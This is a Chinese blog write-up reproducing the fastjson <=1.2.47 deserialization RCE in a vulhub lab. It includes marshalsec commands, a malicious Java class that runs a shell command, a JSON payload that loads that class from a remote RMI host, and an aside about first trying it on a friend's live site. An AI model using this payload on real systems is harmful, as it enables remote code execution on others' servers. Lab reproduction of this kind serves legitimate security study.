fastjson<=1.2.47反序列化漏洞复现
0x00:前言
这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告。既然漏洞环境送上门来,我便打算直接下手试一试。在我的想象中当然是一发入魂回车shell(大雾),事实证明事情永远不会这么简单,我怀疑他们偷偷修复了这个漏洞因为我rmi服务器连响应都没收到....因此我是基于P师傅的vulhub环境复现的。
0x01:环境准备
直接将github上的vulhub下载下来,进入fastjson漏洞环境目录下,执行
dcoker-compose up -d
开启环境
接着在自己的vps里开启rmi或者ldap服务
推荐使用marshalsec快速开启rmi或ldap服务
地址:
https://github.com/mbechler/marshalsec
下载marshalsec,使用maven编译jar包
1 | mvn clean package -DskipTests |
开启rmi或ldap服务
1 | java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]] |
这里的TouchFile是我编译好的恶意类,将编译好的TouchFile.class放在tomcat webapps/ROOT 目录下,java源码如下
import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
开启tomacat,确认可以访问http://ip:8080/TouchFile.class
为什么要确认这一点呢,因为我一开始把class文件放在了webapps目录下一直没复现成功。后来我一看tomcat的access-log发现我rmi确实请求访问恶意类了,但是是404...我一度怀疑人生了都...
0x02:攻击
直接请求搭建好的漏洞环境,端口是8090 将方法改成POST
payload:
"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://ip:8088/TouchFile", "autoCommit":true } }
发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class
可以看到已成功执行touch /tmp/success
同理 反弹shell
0x03:一些坑点
因为之前的服务器到期了一直没买新的,这次的vps是刚买的,买的阿里云忘了配置防火墙了就很尴尬...rmi一开始没收到请求我还很疑惑,结果我朋友问我你防火墙配置了吗....
接着就是这个恶意类放置路径的问题(我java实在是太菜了 这不是坑点 这是我太菜了)
最后就是rmi和ldap这种利用方式对版本是有要求的,它们分别在以下版本被修复
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】